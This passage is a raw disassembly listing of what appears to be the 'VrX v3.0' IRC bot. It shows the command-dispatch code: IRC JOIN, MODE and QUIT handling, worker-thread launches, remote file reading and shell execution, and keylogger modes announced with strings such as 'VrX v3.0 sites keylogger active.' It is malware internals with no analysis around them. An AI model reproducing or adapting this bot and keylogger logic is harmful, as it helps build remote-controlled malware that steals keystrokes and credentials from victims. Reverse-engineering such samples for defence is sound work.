[ebp+arg_18] push offset aDark ; "Dark" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h nop call near ptr 26A0000h push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BFD0 lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C266 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi call sub_41C159 pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A4C8 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h nop call near ptr 2670EEFh jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj nop call near ptr 26808B7h push eax push offset dword_42A48C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset dword_42A444 loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push [ebp+var_8C] push offset dword_42CCD8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 push edi call sub_41C159 add esp, 28h test eax, eax jle short loc_408591 push edi call sub_41C159 imul eax, 3E8h pop ecx push eax nop call near ptr 2670EEFh loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A420 call sub_415D38 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push [ebp+var_8C] push offset dword_42CCD8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41CA50 add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset unk_42A408 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h test eax, eax jle loc_409644 push edi call sub_41C159 add eax, [ebp+arg_24] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+var_2C4] push offset unk_42A3D4 push eax call sub_41C266 add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A3A0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset byte_414F57 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h nop call near ptr 2670EEFh jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j nop call near ptr 26808B7h push eax push offset unk_42A364 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A338 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset byte_414703 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h call near ptr 2670EEFh nop jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej nop call near ptr 26808B7h push eax push offset dword_42A2FC loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F4 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2E0 push eax call sub_41C266 push edi call sub_41C159 add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B8A0 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42A2C4 loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+var_2C4] push offset dword_42A2BC push eax call sub_41C266 add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A2A0 jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push esi push offset dword_42A2EC push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A284 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_42A25C jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push [ebp+var_8C] push offset dword_42CCD8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] push offset dword_42A250 push [ebp+arg_4] call sub_409823 push edi call sub_41C159 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2670EEFh push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 push offset dword_42A23C call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+var_2C4] push offset dword_42A96C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409869 add esp, 20h push esi push edi push offset unk_42A220 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409869 add esp, 14h push esi push edi push offset unk_42A204 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax push edi call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E8 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi push [ebp+arg_1C] call sub_41C2E0 pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408CB1 push esi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push edi push offset unk_42A1C4 push eax call sub_41C266 add esp, 10h inc [ebp+arg_24] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+var_2C4] push offset unk_42A194 push eax call sub_41C266 pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h lea eax, [ebp+var_2C4] push edi push offset unk_42A17C push 200h push eax call sub_41C360 add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: sub_401ACD+4434j ; sub_401ACD+444Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB98 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+var_88] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi push offset aNormal_0 ; "normal" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB98 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+var_88] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push ebx push 23h push eax call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_4126A7 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h call near ptr 2670EEFh nop jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j call near ptr 26808B7h nop push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi call sub_41BEA2 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi call sub_41BA3B pop ecx push edi push offset unk_42A0A8 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A088 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A084 ; "\n" push esi call sub_41C8A0 push esi call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A058 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A040 push eax call sub_41C266 add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A020 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset dword_42A004 loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BFD0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BFD0 add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+var_2C4] push offset dword_429FEC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h nop call near ptr 2670EEFh jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j call near ptr 26808B7h nop push eax push offset unk_429FAC loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41036B add esp, 10h push edi push offset dword_429F94 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_1 ; "%s" push eax call sub_41C266 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F70 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_4161C1 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h nop call near ptr 2670EEFh jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi nop call near ptr 2680158h test eax, eax jz short loc_4091C7 push edi push offset dword_429F54 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5AC call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi call sub_41C159 push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F30 jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset unk_429F00 loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EE0 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EB0 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB99C cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+var_2C4] push offset unk_429E90 push eax call sub_41C266 loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA68 cmp eax, ebx jz short loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA70 push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E68 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh push edi push [ebp+arg_14] call sub_41BFD0 add esp, 0Ch push edi push offset unk_429E44 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB950 test eax, eax push edi jz short loc_409300 push offset unk_429E24 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429E00 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DDC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B8A0 push eax call sub_41C266 add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi call sub_41C159 test eax, eax pop ecx jle loc_401F75 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call sub_409823 pop ecx pop ecx push 1F4h nop call near ptr 2670EEFh push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call dword_4CBA7C push [ebp+var_10] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E934[eax] call near ptr 26906DBh nop push edi call sub_41C159 imul eax, 234h push edi mov dword_43E934[eax], ebx call sub_41C159 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E720[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi push offset aAll ; "all" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DB0 jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D88 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409463: 